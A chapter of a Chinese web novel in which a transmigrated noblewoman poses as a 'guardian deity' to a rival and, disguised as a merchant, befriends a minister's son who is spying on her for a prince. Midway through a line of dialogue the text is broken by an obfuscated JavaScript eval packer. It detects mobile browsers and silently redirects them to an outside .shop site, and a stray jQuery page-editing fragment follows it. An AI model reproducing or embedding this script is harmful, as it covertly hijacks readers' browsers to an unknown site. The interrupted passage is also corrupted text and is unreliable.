第二日卯时一到,叶若昭便循着上辈子的记忆跑步做运动,这个身体虽然没她想象的那般孱弱,但还是得加强训练,否则真出事,连跑都跑不掉。
本以为今天是个清闲日子,没想到午时已过,叶若昭便收到了轩同布庄传的纸条,上面只有两个字:做好了。
原身是轩同布庄掌柜的救命恩人。那年掌柜家里出了事,布庄差点经营不下去,是原身高价买布才救了回来。从此,轩同布庄便时常将一些来买布的世家子弟的消息传递给原身,只是不知原身要这些消息做什么。这次她便与掌柜的通好了暗号,若洛雪婷来说买一匹青色的布,要二尺三寸,便引到后院,会安排一个穿黑衣的男人来接洽她。
洛雪婷竟然这么快就来找她,仔细一想,最近也没有什么重大的剧情任务,但为了巩固“守护神”的身份,还不得不去。她找好理由,前往客栈乔装打扮了一番出门了。
洛雪婷焦急地走来走去,看到她进来,眉头才舒展开。
“神仙,你今日怎的如此慢?”洛雪婷内心稍微有所动摇。
“我已踏入凡间,自然要以凡人的方式来生活。”叶若昭坐下为自己倒了杯茶,“你今日寻我有何要事?”
“你上次给我的锦囊真的有用,现在三殿下已经完全信任我了。”洛雪婷激动道,“昨日闹市惊马差点踩到了叶若昭是不是你做的?”
听到这,叶若昭差点没绷住,她问道:“何以见得?”
“你作为我的守护神,又知道我与她的事,想必除掉她也是易如反掌吧?”洛雪婷分析道。
“我只是给她一个小教训,留着她以后还有用处。”叶若昭顺势应了下来。
洛雪婷不由自主地笑起来,欣喜道:“我就知道!”
“那日游船她写的那诗是不是证明她有问题?”她想起那日的事情又询问道。
“非也,是因为她出了bug,现在已经修好了,以后不会再出现这种问题。”叶若昭为了自己的计划叮嘱她,“你以后写诗还用的到她。”
“罢个是什么?”洛雪婷疑惑道。
“天机不可泄露。”叶若昭老神在在地说道。
洛雪婷便掩住嘴表示不再问了。
“那再给我几个妙计,让我好应对各种情况?”洛雪婷一副理所当然的样子。
真是贪心啊,叶若昭感慨,她闭眼掐指算了算,拒绝道:“还没到时候。”
洛雪婷笑容收了起来,着急问道:“那我怎么知道什么时候才是到时候了?”
“到时我自会传信于你。”叶若昭语重心长地说,“除非遇到重大事情你束手无策,尽量不要来找我,若时机不对,会影响你的气运。”
洛雪婷惊呼一声,害怕道:“那我今日?”
“无妨,今日影响不大,我为你调理一下即可。”叶若昭随便结了个印,让她端坐着闭上眼睛。
“想象你现在在一颗大树底下。”叶若昭给洛雪婷来了个现场冥想引导,变装后低沉缓慢的声音非常的好睡,洛雪婷跟随引导不一会就陷入了沉眠,叶若昭托着她的脑袋,让她趴在了桌上,起身离开了。
“小姐,小姐。”洛雪婷再次睁开眼,就看到了布庄的伙计。
“我睡了多长时间?”洛雪婷感觉自己现在神清气爽,刚刚看到的守护神仿佛也只是一个梦。
“大约一盏茶的时间。”伙计躬身说道:“小姐,您要的布已经准备好了。”
洛雪婷头脑渐渐清明,意识也慢慢回笼:“那带我去看看。”
刚一起身便看到自己手里攥着个纸条,她趁伙计没注意飞快的打开,只见上面写着:正常行事莫忧心。
她这才断定刚刚看到的守护神不是梦,不过也有可能是守护神入她的梦为她传递信息,她难以自制地笑起来,在最后结账的时候还大方地多结了几两银钱。
叶若昭趁洛雪婷睡着出门后便摘了白色的面具,换了件衣服,依然以伪装的形态前往百味楼探听消息。
今日百味楼人格外多,叶若昭进门后被告知竟然只剩一张桌子了,她坐下后照例让小二上了壶茶。
没坐一会便看到仇宏畅竟然也走了进来,看到没空位了正与小二纠缠。大抵是被缠得没有办法,叶若昭见小二领着人往这边走,心下了然,却不动声色。
果然,小二在她桌前站定,询问道:“公子,可否能与这位公子搭个座?”
叶若昭装作不太情愿的样子,微皱起眉头,环顾四周,倒是没想到其他桌都是快要坐满的,她一个人倒显得特殊了。
她正要装作无可奈何地同意,没想到仇宏畅双手握拳摇摇手,恳求道:“一起吧,你的钱我付了,我真是太想吃这家饭了。”
如果黑鬼真是他……想到这,叶若昭笑起来,示意仇宏畅坐下:“既然能遇到公子,也算有缘。”她转头对小二说道,“这位公子的钱我付了。”并在桌子上放了一袋银子,小二喜笑颜开地应下了。
仇宏畅眼睛都睁大了,他爹可从来没给他这么多银子过,也就百味楼这种平价的酒楼他能吃得起了。
他一边推拒,一边已经在幻想酱牛肉,清蒸鲈鱼等食物的味道了。
“公子不必客气,就当我初来京城交个朋友。”叶若昭又向小二要了个杯子,为他倒上茶水。
“初来京城?”仇宏畅果然被吸引了注意力,“公子是哪里人士,来京城是为了考取功名?”
“不才,我是一介商人。”叶若昭拱手道,“走南闯北,四海为家。”
仇宏畅听到她是商人也没露出嫌弃的表情,反而兴奋道:“那你可去过北疆?”
“可惜还没去过,北疆战乱,我也不敢以身涉险。”叶若昭摇头叹息道。
仇宏畅也长叹一口气:“倒也是,不过这场战争应该快要结束了。”
一想到原身那三个活宝亲人也在北疆,叶若昭情绪不由得低落下来,低声道:“会赢的。”
“砰!”仇宏畅猛一拍桌子,笃定道:“会的!”
叶若昭被吓了一跳,随即也正色道:“会的。”
仇宏畅意识到了自己的失态,不好意思地摸摸头,转移话题道:“我是仇宏畅,字远之,不知公子是?”
“谢玉山,字瑾。”叶若昭拱手道。
“好名字!”仇宏畅赞叹道。
转眼小二也将菜上齐了,仇宏畅便邀请叶若昭一同吃,叶若昭倒也没客气。
两人又谈起北疆战乱问题,仇宏畅生气道:“这个北国,几次三番挑衅我们,不如一并拿下。”
叶若昭与他意见不同:“语言不通,习俗不同,吞并了不一定是好事。”
“那依谢兄的意思就由着他们这般挑衅?”
“北国挑起战争,无非是他们所处地方寒冷,粮食供应不了所有的民众。”叶若昭停下了筷子,“如若通商,各取所需,说不定能相安无事。”
原身所在的南国现在觉得商人是最低一等,也处于半闭关锁国的状态。
“谢兄竟有如此见解。”仇宏畅惊讶道,“你可比……比
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522941|202113||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那些带官帽的人强多了。”
“不敢当,这也是我作为一介商人的私心。”叶若昭连忙摆手。
“依你看,这商要如何才能通?”仇宏畅压低声音问道。
叶若昭沉吟一会,蘸水在桌上画了个圈:“首先要改变南国人的观念,鼓励大家去经商,朝廷也要出钱打通航路,如此也可避免被劫匪劫财,再用商税养地方,以商止匪,等地方经济发展起来,百姓有钱了,再与北国通商,便容易多了。”
仇宏畅听完嘴巴都成了一个“o型”,摇头称奇:“谢兄简直是奇才,相见恨晚啊!”
叶若昭失笑,谦虚道:“不过是纸上谈兵罢了。”
“谢兄有如此学识,来了这京城,不知可有高就之处?”仇宏畅状似不经意的询问道。
叶若昭眼睛微颤,笑起来:“不过一点浅薄的见解,远之抬举了。”随即又真诚道,“我做商人最重要的就是不受人限制,与官家相谋,不符合我的本心。”
“不论如何,你这朋友我交定了,以后若有事情,尽管来兵部尚书府来寻我。”仇宏畅拍拍胸脯保证道。
叶若昭露出惊讶的神色,拱手行礼道:“倒是我有眼不识泰山了。”
“不敢不敢,不过打点人脉之类的我还是能帮上忙的。”仇宏畅连忙扶起她。
“谢谢远之。”叶若昭真诚地道谢。
这顿有缘分的饭倒是吃得两边都开心,送走叶若昭,仇宏畅又返回到楼上雅间。
“这人蛮不错!”仇宏畅进门后便兴致勃勃地评价道。
“要你去探探底细,你倒好,快把自己搭进去了。”君怀辰背手站在窗前,看着那个远去的背影,淡声道。
仇宏畅摸了摸头,不好意思道:“殿下不是说他确实前些日子才进京吗?”
“作为一个商人,一人进京,你就不再怀疑一下?”君怀辰恨铁不成钢地道。
“哦,那我说的那些……”仇宏畅忐忑道。
“倒是没多大事。”君怀辰走向桌边坐下,手指轻敲桌面,“他还在观察,看要到谁跟前做事……”
“又或者……”他停下敲击的手指,眯了眯眼,“他是其他人放出来的一个饵,等我们咬钩呢。”
“那要不……把他杀了?”仇宏畅斟酌道。
君怀辰抬起眼皮,凉凉地看了他一眼。
仇宏畅讪讪地不说话了。
“哐当”路云推门进来禀报道:“人进了鸿福客栈,掌柜的说他已经住了段时间了,常常早出晚归的。”
“像个商人。”仇宏畅不服输地接话道,可惜没人理他。
君怀辰思考了一会,安排道:“继续盯着。”
路云应了下来。
“你刚刚听到了吧?现在除了你谁还支持通商?”仇宏畅凑近又分析,“反正我感觉他就是一普通商人。”
“而且我刚开始要求借座的时候,他好像还蛮不乐意的。”仇宏畅又补充道,“如果另有所图,看到我应该就知道我是谁了,又怎么会拒绝。”
“或许吧。”君怀辰没理仇宏畅的大言,倒了杯茶抿了一口,“但愿是我想岔了。”
“是狐狸尾巴总会露出来的。”仇宏畅拍拍君怀辰的肩。
君怀辰拂开他的手,嫌弃地扫了扫他沾过的地方。
仇宏畅敢怒不敢言,最终选择转移话题:“你把叶小姐照顾得如何,怎么上回赏花宴她好似从来没见过你?”
君怀辰顿了一下,声音低了几分:“能让你给叶昱安交差。”